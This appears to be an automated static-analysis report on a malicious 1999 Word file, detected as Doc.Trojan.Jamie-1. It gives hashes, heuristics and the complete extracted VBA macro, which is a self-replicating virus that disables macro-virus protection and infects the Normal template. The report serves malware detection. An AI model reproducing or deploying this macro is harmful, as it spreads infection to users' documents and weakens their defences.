Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa4d23963e69ecd3…

MALICIOUS

Office (OLE)

36.5 KB Created: 1999-05-21 20:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 02efc7404bfa353c629dcd4ade273602 SHA-1: 2b692154ef7b0e3df5f9d84895d660c1c155a9de SHA-256: fa4d23963e69ecd3df9b14f94e6e33c1f407300a29f1b8e205a49ad9de466757
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. The 'Document_Open' and 'Document_Close' subroutines are designed to obfuscate and reinstall the macro code, potentially to maintain persistence or prepare for further execution. The macro attempts to export and import itself using a temporary file named 'Jamie.tmp', which is then deleted. The presence of the 'Doc.Trojan.Jamie-1' ClamAV detection strongly suggests malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Jamie-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jamie-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1557 bytes
SHA-256: 3669a909775944cb0986e051a3d06defda4c1b8f47b2e69855659c678c0da449
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If ActiveDocument.VBProject.Description <> "For Jamie..." Then GoTo ADI
If NormalTemplate.VBProject.Description <> "For Jamie..." Then GoTo NTI
End
ADI:
Set MTI = AD
Set MTC = NT
OPM = "Private Sub Document_Close()"
AII = AD.CodeModule.CountOfLines
ActiveDocument.VBProject.Description = "For Jamie..."
GoTo Install
NTI:
Set MTI = NT
Set MTC = AD
OPM = "Private Sub Document_Open()"
AII = NT.CodeModule.CountOfLines
NormalTemplate.VBProject.Description = "For Jamie..."
GoTo Install
Install:
If AII > 0 Then
 With MTI.CodeModule
  For x = 1 To AII
  .DeleteLines 1
  Next
 End With
End If
If AII >= 0 Then
 MTC.Export ("Jamie.tmp")
 MTI.CodeModule.AddFromFile ("Jamie.tmp")
  With MTI.CodeModule
   For x = 1 To 4
   .DeleteLines 1
   Next
   .ReplaceLine 1, OPM
  End With
 Kill ("Jamie.tmp")
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
',.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,
' Jamie(Type A - Strand B) By Lys KovicK
' Released: Friday, May 21, 1999, 15:50
'';';';';';';';';';';';';';';';';';';';';'